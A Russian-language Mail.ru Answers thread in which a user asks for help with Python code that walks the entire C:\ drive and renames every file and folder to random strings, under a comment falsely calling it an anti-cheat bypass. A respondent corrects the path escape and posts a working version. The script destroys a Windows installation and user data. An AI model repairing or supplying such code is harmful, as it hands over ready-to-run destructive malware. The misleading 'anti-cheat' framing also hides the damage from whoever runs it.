Mail.ruПочтаМой МирОдноклассникиВКонтактеИгрыЗнакомстваНовостиКалендарьОблакоЗаметкиВсе проекты

Помогите с кодом на пайтоне

Ilya Rublev Ученик (247), на голосовании 2 месяца назад
Пишет ошибки в коде, помогите пж
яп
import os
import random
import string

def random_filename(length):
letters_and_digits = string.ascii_letters + string.digits
return ''.join(random.choice(letters_and_digits) for i in range(length))

def rename_files_in_directory(directory):
for filename in os.listdir(directory):
try:
new_filename = random_filename(10) # Генерируем новое случайное имя файла длиной 10 символов
os.rename(os.path.join(directory, filename), os.path.join(directory, new_filename))
print(f"File {filename} renamed to {new_filename}")
except:
print(f"Failed to rename file {filename}")

def rename_files_on_computer():
for root, dirs, files in os.walk("C:\"): # Обходим античит, скрывая файл под диск.

for directory in dirs:
rename_files_in_directory(os.path.join(root, directory))
for file in files:
try:
new_filename = random_filename(10) # Генерируем новое случайное имя файла длиной 10 символов
os.rename(os.path.join(root, file), os.path.join(root, new_filename))
print(f"File {file} renamed to {new_filename}")
except:
print(f"Failed to rename file {file}")

rename_files_on_computer()
Голосование за лучший ответ
damn Просветленный (47228) 3 месяца назад
 import os 
import random
import string

def random_filename(length):
letters_and_digits = string.ascii_letters + string.digits
return ''.join(random.choice(letters_and_digits) for _ in range(length))

def rename_files_in_directory(directory):
for filename in os.listdir(directory):
try:
new_filename = random_filename(10)
os.rename(os.path.join(directory, filename), os.path.join(directory, new_filename))
print(f"File {filename} renamed to {new_filename}")
except Exception as e:
print(f"Failed to rename file {filename}: {e}")

def rename_files_on_computer():
for root, dirs, files in os.walk("C:\\"):
for directory in dirs:
rename_files_in_directory(os.path.join(root, directory))
for file in files:
try:
new_filename = random_filename(10)
os.rename(os.path.join(root, file), os.path.join(root, new_filename))
print(f"File {file} renamed to {new_filename}")
except Exception as e:
print(f"Failed to rename file {file}: {e}")

rename_files_on_computer()
Ilya RublevУченик (247) 3 месяца назад
Почему у меня не получается запускать файл через пайтон для открытия меню?
Похожие вопросы